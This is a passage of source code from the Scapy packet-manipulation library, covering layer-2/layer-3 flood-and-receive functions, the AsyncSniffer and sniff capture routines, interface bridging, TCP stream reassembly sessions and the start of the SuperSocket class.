nofilter=0, # type: int *args, # type: Any **kargs # type: Any ): # type: (...) -> Optional[Packet] """Flood and receive packets at layer 3 and return only the first answer This determines the interface (or L2 source to use) based on the routing table: conf.route / conf.route6 :param prn: function applied to packets received :param verbose: set verbosity level :param nofilter: put 1 to avoid use of BPF filters :param filter: provide a BPF filter :param iface: listen answers only on the given interface """ if "iface" in kargs: # Warn that it isn't used. warnings.warn( "'iface' has no effect on L3 I/O sr1flood(). For multicast/link-local " "see https://scapy.readthedocs.io/en/latest/usage.html#multicast", SyntaxWarning, ) del kargs["iface"] iface, ipv6 = _interface_selection(x) s = iface.l3socket(ipv6)( promisc=promisc, filter=filter, nofilter=nofilter, iface=iface, ) ans, _ = sndrcvflood(s, x, *args, **kargs) s.close() if len(ans) > 0: return cast(Packet, ans[0][1]) return None @conf.commands.register def srpflood(x, # type: _PacketIterable promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] iface=None, # type: Optional[_GlobInterfaceType] iface_hint=None, # type: Optional[str] nofilter=None, # type: Optional[bool] *args, # type: Any **kargs # type: Any ): # type: (...) -> Tuple[SndRcvList, PacketList] """Flood and receive packets at layer 2 :param prn: function applied to packets received :param unique: only consider packets whose print :param nofilter: put 1 to avoid use of BPF filters :param filter: provide a BPF filter :param iface: listen answers only on the given interface """ if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] iface = resolve_iface(iface or conf.iface) s = iface.l2socket()(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter) # noqa: E501 r = sndrcvflood(s, x, *args, **kargs) s.close() return r @conf.commands.register def srp1flood(x, # type: _PacketIterable promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] iface=None, # type: Optional[_GlobInterfaceType] nofilter=0, # type: int *args, # type: Any **kargs # type: Any ): # type: (...) -> Optional[Packet] """Flood and receive packets at layer 2 and return only the first answer :param prn: function applied to packets received :param verbose: set verbosity level :param nofilter: put 1 to avoid use of BPF filters :param filter: provide a BPF filter :param iface: listen answers only on the given interface """ iface = resolve_iface(iface or conf.iface) s = iface.l2socket()(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface) # noqa: E501 ans, _ = sndrcvflood(s, x, *args, **kargs) s.close() if len(ans) > 0: return cast(Packet, ans[0][1]) return None # SNIFF METHODS class AsyncSniffer(object): """ Sniff packets and return a list of packets. Args: count: number of packets to capture. 0 means infinity. store: whether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. --Ex: prn = lambda x: x.summary() session: a session = a flow decoder used to handle stream of packets. --Ex: session=TCPSession See below for more details. filter: BPF filter to apply. lfilter: Python function applied to each packet to determine if further action may be done. --Ex: lfilter = lambda x: x.haslayer(Padding) offline: PCAP file (or list of PCAP files) to read packets from, instead of sniffing them quiet: when set to True, the process stderr is discarded (default: False). timeout: stop sniffing after a given time (default: None). L2socket: use the provided L2socket (default: use conf.L2listen). opened_socket: provide an object (or a list of objects) ready to use .recv() on. stop_filter: Python function applied to each packet to determine if we have to stop the capture after this packet. --Ex: stop_filter = lambda x: x.haslayer(TCP) iface: interface or list of interfaces (default: None for sniffing on the default interface). monitor: use monitor mode. May not be available on all OS started_callback: called as soon as the sniffer starts sniffing (default: None). The iface, offline and opened_socket parameters can be either an element, a list of elements, or a dict object mapping an element to a label (see examples below). For more information about the session argument, see https://scapy.rtfd.io/en/latest/usage.html#advanced-sniffing-sniffing-sessions Examples: synchronous >>> sniff(filter="arp") >>> sniff(filter="tcp", ... session=IPSession, # defragment on-the-flow ... prn=lambda x: x.summary()) >>> sniff(lfilter=lambda pkt: ARP in pkt) >>> sniff(iface="eth0", prn=Packet.summary) >>> sniff(iface=["eth0", "mon0"], ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, ... pkt.summary())) >>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"}, ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, ... pkt.summary())) Examples: asynchronous >>> t = AsyncSniffer(iface="enp0s3") >>> t.start() >>> time.sleep(1) >>> print("nice weather today") >>> t.stop() """ def __init__(self, *args, **kwargs): # type: (*Any, **Any) -> None # Store keyword arguments self.args = args self.kwargs = kwargs self.running = False self.thread = None # type: Optional[Thread] self.results = None # type: Optional[PacketList] self.exception = None # type: Optional[Exception] self.stop_cb = lambda: None # type: Callable[[], None] def _setup_thread(self): # type: () -> None def _run_catch(self=self, *args, **kwargs): # type: (Any, *Any, **Any) -> None try: self._run(*args, **kwargs) except Exception as ex: self.exception = ex # Prepare sniffing thread self.thread = Thread( target=_run_catch, args=self.args, kwargs=self.kwargs, name="AsyncSniffer" ) self.thread.daemon = True def _run(self, count=0, # type: int store=True, # type: bool offline=None, # type: Any quiet=False, # type: bool prn=None, # type: Optional[Callable[[Packet], Any]] lfilter=None, # type: Optional[Callable[[Packet], bool]] L2socket=None, # type: Optional[Type[SuperSocket]] timeout=None, # type: Optional[int] opened_socket=None, # type: Optional[SuperSocket] stop_filter=None, # type: Optional[Callable[[Packet], bool]] iface=None, # type: Optional[_GlobInterfaceType] started_callback=None, # type: Optional[Callable[[], Any]] session=None, # type: Optional[_GlobSessionType] chainCC=False, # type: bool **karg # type: Any ): # type: (...) -> None self.running = True self.count = 0 lst = [] # Start main thread # instantiate session if not isinstance(session, DefaultSession): session = session or DefaultSession session = session() # sniff_sockets follows: {socket: label} sniff_sockets = {} # type: Dict[SuperSocket, _GlobInterfaceType] if opened_socket is not None: if isinstance(opened_socket, list): sniff_sockets.update( (s, "socket%d" % i) for i, s in enumerate(opened_socket) ) elif isinstance(opened_socket, dict): sniff_sockets.update( (s, label) for s, label in opened_socket.items() ) else: sniff_sockets[opened_socket] = "socket0" if offline is not None: flt = karg.get('filter') if isinstance(offline, str): # Single file offline = [offline] if isinstance(offline, list) and \ all(isinstance(elt, str) for elt in offline): # List of files sniff_sockets.update((PcapReader( # type: ignore fname if flt is None else tcpdump(fname, args=["-w", "-"], flt=flt, getfd=True, quiet=quiet) ), fname) for fname in offline) elif isinstance(offline, dict): # Dict of files sniff_sockets.update((PcapReader( # type: ignore fname if flt is None else tcpdump(fname, args=["-w", "-"], flt=flt, getfd=True, quiet=quiet) ), label) for fname, label in offline.items()) elif isinstance(offline, (Packet, PacketList, list)): # Iterables (list of packets, PacketList..) offline = IterSocket(offline) sniff_sockets[offline if flt is None else PcapReader( tcpdump(offline, args=["-w", "-"], flt=flt, getfd=True, quiet=quiet) )] = offline else: # Other (file descriptors...) sniff_sockets[PcapReader( # type: ignore offline if flt is None else tcpdump(offline, args=["-w", "-"], flt=flt, getfd=True, quiet=quiet) )] = offline if not sniff_sockets or iface is not None: # The _RL2 function resolves the L2socket of an iface _RL2 = lambda i: L2socket or resolve_iface(i).l2listen() # type: Callable[[_GlobInterfaceType], Callable[..., SuperSocket]] # noqa: E501 if isinstance(iface, list): sniff_sockets.update( (_RL2(ifname)(type=ETH_P_ALL, iface=ifname, **karg), ifname) for ifname in iface ) elif isinstance(iface, dict): sniff_sockets.update( (_RL2(ifname)(type=ETH_P_ALL, iface=ifname, **karg), iflabel) for ifname, iflabel in iface.items() ) else: iface = iface or conf.iface sniff_sockets[_RL2(iface)(type=ETH_P_ALL, iface=iface, **karg)] = iface # Get select information from the sockets _main_socket = next(iter(sniff_sockets)) select_func = _main_socket.select nonblocking_socket = getattr(_main_socket, "nonblocking_socket", False) # We check that all sockets use the same select(), or raise a warning if not all(select_func == sock.select for sock in sniff_sockets): warning("Warning: inconsistent socket types ! " "The used select function " "will be the one of the first socket") close_pipe = None # type: Optional[ObjectPipe[None]] if not nonblocking_socket: # select is blocking: Add special control socket from scapy.automaton import ObjectPipe close_pipe = ObjectPipe[None]("control_socket") sniff_sockets[close_pipe] = "control_socket" # type: ignore def stop_cb(): # type: () -> None if self.running and close_pipe: close_pipe.send(None) self.continue_sniff = False self.stop_cb = stop_cb else: # select is non blocking def stop_cb(): # type: () -> None self.continue_sniff = False self.stop_cb = stop_cb try: self.continue_sniff = True if started_callback: started_callback() # Start timeout if timeout is not None: stoptime = time.monotonic() + timeout remain = None while sniff_sockets and self.continue_sniff: if timeout is not None: remain = stoptime - time.monotonic() if remain <= 0: break sockets = select_func(list(sniff_sockets.keys()), remain) dead_sockets = [] for s in sockets: if s is close_pipe: # type: ignore break # The session object is passed the socket to call recv() on, # and may perform additional processing (ip defrag, etc.) try: packets = session.recv(s) # A session can return multiple objects for p in packets: if lfilter and not lfilter(p): continue p.sniffed_on = sniff_sockets.get(s, None) # post-processing self.count += 1 if store: lst.append(p) if prn: result = prn(p) if result is not None: print(result) # check if (stop_filter and stop_filter(p)) or \ (0 < count <= self.count): self.continue_sniff = False break except EOFError: # End of stream try: s.close() except Exception: pass dead_sockets.append(s) continue except Exception as ex: msg = " It was closed." try: # Make sure it's closed s.close() except Exception as ex2: msg = " close() failed with '%s'" % ex2 warning( "Socket %s failed with '%s'." % (s, ex) + msg ) dead_sockets.append(s) if conf.debug_dissector >= 2: raise continue # Removed dead sockets for s in dead_sockets: del sniff_sockets[s] if len(sniff_sockets) == 1 and \ close_pipe in sniff_sockets: # type: ignore # Only the close_pipe left del sniff_sockets[close_pipe] # type: ignore except KeyboardInterrupt: if chainCC: raise self.running = False if opened_socket is None: for s in sniff_sockets: s.close() elif close_pipe: close_pipe.close() self.results = PacketList(lst, "Sniffed") def start(self): # type: () -> None """Starts AsyncSniffer in async mode""" self._setup_thread() if self.thread: self.thread.start() def stop(self, join=True): # type: (bool) -> Optional[PacketList] """Stops AsyncSniffer if not in async mode""" if self.running: self.stop_cb() if not hasattr(self, "continue_sniff"): # Never started -> is there an exception? if self.exception is not None: raise self.exception return None if self.continue_sniff: raise Scapy_Exception( "Unsupported (offline or unsupported socket)" ) if join: self.join() return self.results return None else: raise Scapy_Exception("Not running ! (check .running attr)") def join(self, *args, **kwargs): # type: (*Any, **Any) -> None if self.thread: self.thread.join(*args, **kwargs) if self.exception is not None: raise self.exception @conf.commands.register def sniff(*args, **kwargs): # type: (*Any, **Any) -> PacketList sniffer = AsyncSniffer() sniffer._run(*args, **kwargs) return cast(PacketList, sniffer.results) sniff.__doc__ = AsyncSniffer.__doc__ @conf.commands.register def bridge_and_sniff(if1, # type: _GlobInterfaceType if2, # type: _GlobInterfaceType xfrm12=None, # type: Optional[Callable[[Packet], Union[Packet, bool]]] # noqa: E501 xfrm21=None, # type: Optional[Callable[[Packet], Union[Packet, bool]]] # noqa: E501 prn=None, # type: Optional[Callable[[Packet], Any]] L2socket=None, # type: Optional[Type[SuperSocket]] *args, # type: Any **kargs # type: Any ): # type: (...) -> PacketList """Forward traffic between interfaces if1 and if2, sniff and return the exchanged packets. :param if1: the interfaces to use (interface names or opened sockets). :param if2: :param xfrm12: a function to call when forwarding a packet from if1 to if2. If it returns True, the packet is forwarded as it. If it returns False or None, the packet is discarded. If it returns a packet, this packet is forwarded instead of the original packet one. :param xfrm21: same as xfrm12 for packets forwarded from if2 to if1. The other arguments are the same than for the function sniff(), except for offline, opened_socket and iface that are ignored. See help(sniff) for more. """ for arg in ['opened_socket', 'offline', 'iface']: if arg in kargs: log_runtime.warning("Argument %s cannot be used in " "bridge_and_sniff() -- ignoring it.", arg) del kargs[arg] def _init_socket(iface, # type: _GlobInterfaceType count, # type: int L2socket=L2socket # type: Optional[Type[SuperSocket]] ): # type: (...) -> Tuple[SuperSocket, _GlobInterfaceType] if isinstance(iface, SuperSocket): return iface, "iface%d" % count else: if not L2socket: iface = resolve_iface(iface or conf.iface) L2socket = iface.l2socket() return L2socket(iface=iface), iface sckt1, if1 = _init_socket(if1, 1) sckt2, if2 = _init_socket(if2, 2) peers = {if1: sckt2, if2: sckt1} xfrms = {} if xfrm12 is not None: xfrms[if1] = xfrm12 if xfrm21 is not None: xfrms[if2] = xfrm21 def prn_send(pkt): # type: (Packet) -> None try: sendsock = peers[pkt.sniffed_on or ""] except KeyError: return if pkt.sniffed_on in xfrms: try: _newpkt = xfrms[pkt.sniffed_on](pkt) except Exception: log_runtime.warning( 'Exception in transformation function for packet [%s] ' 'received on %s -- dropping', pkt.summary(), pkt.sniffed_on, exc_info=True ) return else: if isinstance(_newpkt, bool): if not _newpkt: return newpkt = pkt else: newpkt = _newpkt else: newpkt = pkt try: sendsock.send(newpkt) except Exception: log_runtime.warning('Cannot forward packet [%s] received on %s', pkt.summary(), pkt.sniffed_on, exc_info=True) if prn is None: prn = prn_send else: prn_orig = prn def prn(pkt): # type: (Packet) -> Any prn_send(pkt) return prn_orig(pkt) return sniff(opened_socket={sckt1: if1, sckt2: if2}, prn=prn, *args, **kargs) @conf.commands.register def tshark(*args, **kargs): # type: (Any, Any) -> None """Sniff packets and print them calling pkt.summary(). This tries to replicate what text-wireshark (tshark) would look like""" if 'iface' in kargs: iface = kargs.get('iface') elif 'opened_socket' in kargs: iface = cast(SuperSocket, kargs.get('opened_socket')).iface else: iface = conf.iface print("Capturing on '%s'" % iface) # This should be a nonlocal variable, using a mutable object # for Python 2 compatibility i = [0] def _cb(pkt): # type: (Packet) -> None print("%5d\t%s" % (i[0], pkt.summary())) i[0] += 1 sniff(prn=_cb, store=False, *args, **kargs) print("\n%d packet%s captured" % (i[0], 's' if i[0] > 1 else '')) ================================================ FILE: scapy/sessions.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ Sessions: decode flow of packets when sniffing """ from collections import defaultdict import socket import struct from scapy.compat import orb from scapy.config import conf from scapy.packet import Packet from scapy.pton_ntop import inet_pton # Typing imports from typing import ( Any, Callable, DefaultDict, Dict, Iterator, List, Optional, Tuple, Type, cast, TYPE_CHECKING, ) from scapy.compat import Self if TYPE_CHECKING: from scapy.supersocket import SuperSocket class DefaultSession(object): """Default session: no stream decoding""" def __init__(self, supersession: Optional[Self] = None): if supersession and not isinstance(supersession, DefaultSession): supersession = supersession() self.supersession = supersession def process(self, pkt: Packet) -> Optional[Packet]: """ Called to pre-process the packet """ # Optionally handle supersession if self.supersession: return self.supersession.process(pkt) return pkt def recv(self, sock: 'SuperSocket') -> Iterator[Packet]: """ Will be called by sniff() to ask for a packet """ pkt = sock.recv() if not pkt: return pkt = self.process(pkt) if pkt: yield pkt class IPSession(DefaultSession): """Defragment IP packets 'on-the-flow'. Usage: >>> sniff(session=IPSession) """ def __init__(self, *args, **kwargs): # type: (*Any, **Any) -> None DefaultSession.__init__(self, *args, **kwargs) self.fragments = defaultdict(list) # type: DefaultDict[Tuple[Any, ...], List[Packet]] # noqa: E501 def process(self, packet: Packet) -> Optional[Packet]: from scapy.layers.inet import IP, _defrag_ip_pkt if not packet: return None if IP not in packet: return packet return _defrag_ip_pkt(packet, self.fragments)[1] # type: ignore class StringBuffer(object): """StringBuffer is an object used to re-order data received during a TCP transmission. Each TCP fragment contains a sequence number, which marks (relatively to the first sequence number) the index of the data contained in the fragment. If a TCP fragment is missed, this class will fill the missing space with zeros. """ def __init__(self): # type: () -> None self.content = bytearray(b"") self.content_len = 0 self.noff = 0 # negative offset self.incomplete = [] # type: List[Tuple[int, int]] def append(self, data: bytes, seq: Optional[int] = None) -> None: if not data: return data_len = len(data) if seq is None: seq = self.content_len seq = seq - 1 - self.noff if seq < 0: # Data is located before the start of the current buffer # (e.g. the first fragment was missing) self.content = bytearray(b"\x00" * (-seq)) + self.content self.content_len += (-seq) self.noff += seq seq = 0 if seq + data_len > self.content_len: # Data is located after the end of the current buffer self.content += b"\x00" * (seq - self.content_len + data_len) # As data was missing, mark it. # self.incomplete.append((self.content_len, seq)) self.content_len = seq + data_len assert len(self.content) == self.content_len # XXX removes empty space marker. # for ifrag in self.incomplete: # if [???]: # self.incomplete.remove([???]) memoryview(self.content)[seq:seq + data_len] = data def shiftleft(self, i: int) -> None: self.content = self.content[i:] self.content_len -= i def full(self): # type: () -> bool # Should only be true when all missing data was filled up, # (or there never was missing data) return bool(self) def clear(self): # type: () -> None self.__init__() # type: ignore def __bool__(self): # type: () -> bool return bool(self.content_len) __nonzero__ = __bool__ def __len__(self): # type: () -> int return self.content_len def __bytes__(self): # type: () -> bytes return bytes(self.content) def __str__(self): # type: () -> str return cast(str, self.__bytes__()) def streamcls(cls: Type[Packet]) -> Callable[ [bytes, Dict[str, Any], Dict[str, Any]], Optional[Packet], ]: """ Wraps a class for use when dissecting streams. """ if hasattr(cls, "tcp_reassemble"): return cls.tcp_reassemble # type: ignore else: # There is no tcp_reassemble. Just dissect the packet return lambda data, *_: data and cls(data) class TCPSession(IPSession): """A Session that reconstructs TCP streams. NOTE: this has the same effect as wrapping a real socket.socket into StreamSocket, but for all concurrent TCP streams (can be used on pcaps or sniffed sessions). NOTE: only protocols that implement a ``tcp_reassemble`` function will be processed by this session. Other protocols will not be reconstructed. DEV: implement a class-function `tcp_reassemble` in your Packet class:: @classmethod def tcp_reassemble(cls, data, metadata, session): # data = the reassembled data from the same request/flow # metadata = empty dictionary, that can be used to store data # during TCP reassembly # session = a dictionary proper to the bidirectional TCP session, # that can be used to store anything [...] # If the packet is available, return it. Otherwise don't. # Whenever you return a packet, the buffer will be discarded. return pkt # Otherwise, maybe store stuff in metadata, and return None, # as you need additional data. return None For more details and a real example, see: https://scapy.readthedocs.io/en/latest/usage.html#how-to-use-tcpsession-to-defragment-tcp-packets :param app: Whether the socket is on application layer = has no TCP layer. This is identical to StreamSocket so only use this if your underlying source of data isn't a socket.socket. """ def __init__(self, app=False, *args, **kwargs): # type: (bool, *Any, **Any) -> None super(TCPSession, self).__init__(*args, **kwargs) self.app = app if app: self.data = StringBuffer() self.metadata = {} # type: Dict[str, Any] self.session = {} # type: Dict[str, Any] else: # The StringBuffer() is used to build a global # string from fragments and their seq nulber self.tcp_frags = defaultdict( lambda: (StringBuffer(), {}) ) # type: DefaultDict[bytes, Tuple[StringBuffer, Dict[str, Any]]] self.tcp_sessions = defaultdict( dict ) # type: DefaultDict[bytes, Dict[str, Any]] # Setup stopping dissection condition from scapy.layers.inet import TCP self.stop_dissection_after = TCP def _get_ident(self, pkt, session=False): # type: (Packet, bool) -> bytes underlayer = pkt["TCP"].underlayer af = socket.AF_INET6 if "IPv6" in pkt else socket.AF_INET src = underlayer and inet_pton(af, underlayer.src) or b"" dst = underlayer and inet_pton(af, underlayer.dst) or b"" if session: # Bidirectional def xor(x, y): # type: (bytes, bytes) -> bytes return bytes(orb(a) ^ orb(b) for a, b in zip(x, y)) return struct.pack("!4sH", xor(src, dst), pkt.dport ^ pkt.sport) else: # Uni-directional return src + dst + struct.pack("!HH", pkt.dport, pkt.sport) def _strip_padding(self, pkt: Packet) -> Optional[bytes]: """Strip the packet of any padding, and return the padding. """ if isinstance(pkt, conf.padding_layer): return cast(bytes, pkt.load) pad = pkt.getlayer(conf.padding_layer) if pad is not None and pad.underlayer is not None: # strip padding del pad.underlayer.payload return cast(bytes, pad.load) return None def process(self, pkt: Packet, cls: Optional[Type[Packet]] = None) -> Optional[Packet]: """Process each packet: matches the TCP seq/ack numbers to follow the TCP streams, and orders the fragments. """ packet = None # type: Optional[Packet] if self.app: # Special mode: Application layer. Use on top of TCP self.data.append(bytes(pkt)) if cls is None and not isinstance(pkt, bytes): cls = pkt.__class__ if "tcp_reassemble" in self.metadata: tcp_reassemble = self.metadata["tcp_reassemble"] elif cls is not None: self.metadata["tcp_reassemble"] = tcp_reassemble = streamcls(cls) else: return None if self.data.full(): packet = tcp_reassemble( bytes(self.data), self.metadata, self.session, ) if packet: padding = self._strip_padding(packet) if padding: # There is remaining data for the next payload. self.data.shiftleft(len(self.data) - len(padding)) # Skip full-padding if isinstance(packet, conf.padding_layer): return None else: # No padding (data) left. Clear self.data.clear() self.metadata.clear() return packet return None _pkt = super(TCPSession, self).process(pkt) if _pkt is None: return None else: # Python 3.8 := would be nice pkt = _pkt from scapy.layers.inet import IP, TCP if not pkt: return None if TCP not in pkt: return pkt pay = pkt[TCP].payload new_data = pay.original # Match packets by a unique TCP identifier ident = self._get_ident(pkt) data, metadata = self.tcp_frags[ident] tcp_session = self.tcp_sessions[self._get_ident(pkt, True)] # Handle TCP sequence numbers seq = pkt[TCP].seq if "seq" not in metadata: metadata["seq"] = seq if "next_seq" in metadata and seq < metadata["next_seq"]: # Retransmitted data (that we already returned) new_data = new_data[metadata["next_seq"] - seq:] if not new_data: return None seq = metadata["next_seq"] # Let's guess which class is going to be used if "pay_class" not in metadata: metadata["pay_class"] = pay_class = pkt[TCP].guess_payload_class(new_data) metadata["tcp_reassemble"] = tcp_reassemble = streamcls(pay_class) else: tcp_reassemble = metadata["tcp_reassemble"] if pay: # Get a relative sequence number for a storage purpose relative_seq = metadata.get("relative_seq", None) if relative_seq is None: relative_seq = metadata["relative_seq"] = seq - 1 seq = seq - relative_seq # Add the data to the buffer data.append(new_data, seq) # Check TCP FIN or TCP RESET if pkt[TCP].flags.F or pkt[TCP].flags.R: metadata["tcp_end"] = True elif not pay: # If there's no payload and the stream isn't ending, ignore. return pkt # In case any app layer protocol requires it, # allow the parser to inspect TCP PSH flag if pkt[TCP].flags.P: metadata["tcp_psh"] = True # XXX TODO: check that no empty space is missing in the buffer. # XXX Currently, if a TCP fragment was missing, we won't notice it. if data.full(): # Reassemble using all previous packets metadata["original"] = pkt metadata["ident"] = ident packet = tcp_reassemble( bytes(data), metadata, tcp_session ) # Stack the result on top of the previous frames if packet: if "seq" in metadata: pkt[TCP].seq = metadata["seq"] # Clear TCP reassembly metadata metadata.clear() # Check for padding padding = self._strip_padding(packet) while padding: # There is remaining data for the next payload. full_length = data.content_len - len(padding) metadata["relative_seq"] = relative_seq + full_length data.shiftleft(full_length) # There might be a sub-payload hidden in the padding sub_packet = tcp_reassemble( bytes(data), metadata, tcp_session ) if sub_packet: packet /= sub_packet padding = self._strip_padding(sub_packet) else: break else: # No padding (data) left. Clear data.clear() del self.tcp_frags[ident] # Minimum next seq metadata["next_seq"] = pkt[TCP].seq + len(new_data) # Skip full-padding if isinstance(packet, conf.padding_layer): return None # Rebuild resulting packet if pay: pay.underlayer.remove_payload() if IP in pkt: pkt[IP].len = None pkt[IP].chksum = None pkt = pkt / packet pkt.wirelen = None return pkt return None def recv(self, sock: 'SuperSocket') -> Iterator[Packet]: """ Will be called by sniff() to ask for a packet """ pkt = sock.recv(stop_dissection_after=self.stop_dissection_after) # Now handle TCP reassembly if self.app: while pkt is not None: pkt = self.process(pkt) if pkt: yield pkt # keep calling process as there might be more pkt = b"" # type: ignore else: pkt = self.process(pkt) # type: ignore if pkt: yield pkt return None ================================================ FILE: scapy/supersocket.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ SuperSocket. """ from select import select, error as select_error import ctypes import errno import socket import struct import time from scapy.config import conf from scapy.consts import DARWIN, WINDOWS from scapy.data import ( MTU, ETH_P_IP, ETH_P_IPV6, SOL_PACKET, SO_TIMESTAMPNS, ) from scapy.compat import raw from scapy.error import warning, log_runtime from scapy.interfaces import network_name from scapy.packet import Packet, NoPayload from scapy.plist import ( PacketList, SndRcvList, _PacketIterable, ) from scapy.utils import PcapReader, tcpdump # Typing imports from scapy.interfaces import _GlobInterfaceType from typing import ( Any, Dict, Iterator, List, Optional, Tuple, Type, TypeVar, cast, TYPE_CHECKING, ) from scapy.compat import Self if TYPE_CHECKING: from scapy.ansmachine import AnsweringMachine # Utils class _SuperSocket_metaclass(type): desc = None # type: Optional[str] def __repr__(self): # type: () -> str if self.desc is not None: return "<%s: %s>" % (self.__name__, self.desc) else: return "<%s>" % self.__name__ # Used to get ancillary data PACKET_AUXDATA = 8 ETH_P_8021Q = 0x8100 TP_STATUS_VLAN_VALID = 1 << 4 TP_STATUS_VLAN_TPID_VALID = 1 << 6 class tpacket_auxdata(ctypes.Structure): _fields_ = [ ("tp_status", ctypes.c_uint), ("tp_len", ctypes.c_uint), ("tp_snaplen", ctypes.c_uint), ("tp_mac", ctypes.c_ushort), ("tp_net", ctypes.c_ushort), ("tp_vlan_tci", ctypes.c_ushort), ("tp_vlan_tpid", ctypes.c_ushort), ] # type: List[Tuple[str, Any]] # SuperSocket _T = TypeVar("_T", Packet, PacketList) class SuperSocket(metaclass=_SuperSocket_metaclass): closed = False # type: bool nonblocking_socket = False # type: bool auxdata_available = False # type: bool def __init__(self, family=socket.AF_INET, # type: int type=socket.SOCK_STREAM, # type: int proto=0, # type: int iface=None, # type: Optional[_GlobInterfaceType] **kwargs # type: Any ): # type: (...) -> None self.ins = socket.socket(family, type, proto) # type: socket.socket self.outs = self.ins # type: Optional[socket.socket] self.promisc = conf.sniff_promisc self.iface = iface or conf.iface def send(self, x): # type: (Packet) -> int """Sends a `Packet` object :param x: `Packet` to be send :return: Number of bytes that have been sent """ sx = raw(x) try: x.sent_time = time.time() except AttributeError: pass if self.outs: return self.outs.send(sx) else: return 0 if WINDOWS: def _recv_raw(self, sock, x): # type: (socket.socket, int) -> Tuple[bytes, Any, Optional[float]] """Internal function to receive a Packet. :param sock: Socket object from which data are received :param x: Number of bytes to be received :return: Received bytes, address information and no timestamp """ pkt, sa_ll = sock.recvfrom(x) return pkt, sa_ll, None else: def _recv_raw(self, sock, x): # type: (socket.socket, int) -> Tuple[bytes, Any, Optional[float]] """Internal function to receive a Packet, and process ancillary data. :param sock: Socket object from which data are received :param x: Number of bytes to be received :return: Received bytes, address information and an optional timestamp """ timestamp = None if not self.auxdata_available: pkt, _, _, sa_ll = sock.recvmsg(x) return pkt, sa_ll, timestamp flags_len = socket.CMSG_LEN(4096) pkt, ancdata, flags, sa_ll = sock.recvmsg(x, flags_len) if not pkt: return pkt, sa_ll, timestamp for cmsg_lvl, cmsg_type, cmsg_data in ancdata: # Check available ancillary data if (cmsg_lvl == SOL_PACKET and cmsg_type == PACKET_AUXDATA): # Parse AUXDATA try: auxdata = tpacket_auxdata.from_buffer_copy(cmsg_data) except ValueError: # Note: according to Python documentation, recvmsg() # can return a truncated message. A ValueError # exception likely indicates that Auxiliary # Data is not supported by the Linux kernel. return pkt, sa_ll, timestamp if auxdata.tp_vlan_tci != 0 or \ auxdata.tp_status & TP_STATUS_VLAN_VALID: # Insert VLAN tag tpid = ETH_P_8021Q if auxdata.tp_status & TP_STATUS_VLAN_TPID_VALID: tpid = auxdata.tp_vlan_tpid tag = struct.pack( "!HH", tpid, auxdata.tp_vlan_tci ) pkt = pkt[:12] + tag + pkt[12:] elif cmsg_lvl == socket.SOL_SOCKET and \ cmsg_type == SO_TIMESTAMPNS: length = len(cmsg_data) if length == 16: # __kernel_timespec tmp = struct.unpack("ll", cmsg_data) elif length == 8: # timespec tmp = struct.unpack("ii", cmsg_data) else: log_runtime.warning("Unknown timespec format.. ?!") continue timestamp = tmp[0] + tmp[1] * 1e-9 return pkt, sa_ll, timestamp def recv_raw(self, x=MTU): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """Returns a tuple containing (cls, pkt_data, time) :param x: Maximum number of bytes to be received, defaults to MTU :return: A tuple, consisting of a Packet type, the received data, and a timestamp """ return conf.raw_layer, self.ins.recv(x), None def recv(self, x=MTU, **kwargs): # type: (int, **Any) -> Optional[Packet] """Receive a Packet according to the `basecls` of this socket :param x: Maximum number of bytes to be received, defaults to MTU :return: The received `Packet` object, or None """ cls, val, ts = self.recv_raw(x) if not val or not cls: return None try: pkt = cls(val, **kwargs) # type: Packet except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: from scapy.sendrecv import debug debug.crashed_on = (cls, val) raise pkt = conf.raw_layer(val) if ts: pkt.time = ts return pkt def fileno(self): # type: () -> int return self.ins.fileno() def close(self): # type: () -> None """Gracefully close this socket """ if self.closed: return self.closed = True if getattr(self, "outs", None): if getattr(self, "ins", None) != self.outs: if self.outs and self.outs.fileno() != -1: self.outs.close() if getattr(self, "ins", None): if self.ins.fileno() != -1: self.ins.close() def sr(self, *args, **kargs): # type: (Any, Any) -> Tuple[SndRcvList, PacketList] """Send and Receive multiple packets """ from scapy import sendrecv return sendrecv.sndrcv(self, *args, **kargs) def sr1(self, *args, **kargs): # type: (Any, Any) -> Optional[Packet] """Send one packet and receive one answer """ from scapy import sendrecv # if not explicitly specified by the user, # set threaded to False in sr1 to remove the overhead # for a Thread creation kargs.setdefault("threaded", False) ans = sendrecv.sndrcv(self, *args, **kargs)[0] # type: SndRcvList if len(ans) > 0: pkt = ans[0][1] # type: Packet return pkt else: return None def sniff(self, *args, **kargs): # type: (Any, Any) -> PacketList from scapy import sendrecv return sendrecv.sniff(opened_socket=self, *args, **kargs) def tshark(self, *args, **kargs): # type: (Any, Any) -> None from scapy import sendrecv sendrecv.tshark(opened_socket=self, *args, **kargs) def am(self, cls, # type: Type[AnsweringMachine[_T]] **kwargs # type: Any ): # type: (...) -> AnsweringMachine[_T] """ Creates an AnsweringMachine associated with this socket. :param cls: A subclass of AnsweringMachine to instantiate """ return cls(opened_socket=self, socket=self, **kwargs) @staticmethod def select(sockets, remain=conf.recv_poll_rate): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] """This function is called during sendrecv() routine to select the available sockets. :param sockets: an array of sockets that need to be selected :returns: an array of sockets that were selected and the function to be called next to get the packets (i.g. recv) """ inp = [] # type: List[SuperSocket] try: inp, _, _ = select(sockets, [], [], remain) except (IOError, select_error) as exc: # select.error has no .errno attribute if not exc.args or exc.args[0] != errno.EINTR: raise return inp def __del__(self): # type: () -> None """Close the socket""" self.close() def __enter__(self): # type: () -> Self return self def __exit__(self, exc_type, exc_value, traceback): # type: (Optional[Type[BaseException]], Optional[BaseException], Optional[Any]) -> None # noqa: E501 """Close the socket""" self.close() if not WINDOWS: class L3RawSocket(SuperSocket): desc = "Layer 3 using Raw sockets (PF_INET/SOCK_RAW)" def __init__(self, 